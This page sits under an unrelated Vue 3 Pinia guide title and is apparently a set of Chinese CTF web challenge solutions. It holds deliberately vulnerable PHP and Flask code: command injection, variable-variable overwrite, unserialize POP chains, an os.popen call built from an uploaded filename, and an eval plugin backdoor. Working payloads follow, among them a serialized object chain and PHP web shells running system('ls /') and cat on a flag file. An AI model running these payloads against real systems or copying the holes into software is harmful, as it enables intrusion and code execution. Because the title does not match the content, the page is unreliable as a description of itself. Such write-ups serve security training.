【Vue】Vue3.0（十七）Vue 3.0中Pinia的深度使用指南（基于setup语法糖）

easyPytHon_P

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

cmd=cat&param=flag.txt

遍地飘零

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零，仔细看看输入有什么问题吧";
    var_dump($_GET);
}

?_GET=flag

茶歇区

小舔田？

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候，叫人家小甜甜！现在新人胜旧人，叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

<?php
class Moon{
    public $name;
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

LSB探姬

    # !/usr/bin/env python
    # -*-coding:utf-8 -*-
    """
    # File       : app.py
    # Time       ：2022/10/20 15:16
    # Author     ：g4_simon
    # version    ：python 3.9.7
    # Description：TSTEG-WEB
    # flag is in /app/flag.py
    """
    from flask import *
    import os
    #初始化全局变量
    app = Flask(__name__)
    @app.route('/', methods=['GET'])
    def index():    
        return render_template('upload.html')
    @app.route('/upload', methods=['GET', 'POST'])
    def upload_file():
        if request.method == 'POST':
            try:
                f = request.files['file']
                f.save('upload/'+f.filename)
                cmd="python3 tsteg.py upload/"+f.filename
                result=os.popen(cmd).read()
                data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
                return jsonify(data)
            except:
                data={"code":1,"message":"file upload error!"}
                return jsonify(data)
        else:
            return render_template('upload.html')
    @app.route('/source', methods=['GET'])
    def show_source():
        return render_template('source.html')
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80,debug=False)
              

Is_Not_Obfuscate

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it ！！！
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
} 

?action=push&output=<?php eval(system("ls /"));?>

input=md5($_GET['output'].'youyou')。
payload:
?action=pull&input=b4b23ad51ccba6f288833a4e25cb361b

?action=push&output=<?php eval(system("cat /f1agaaa"));?>
?action=pull&input=ba53a5488a5dfda0aff1bb1ee5fcfaa2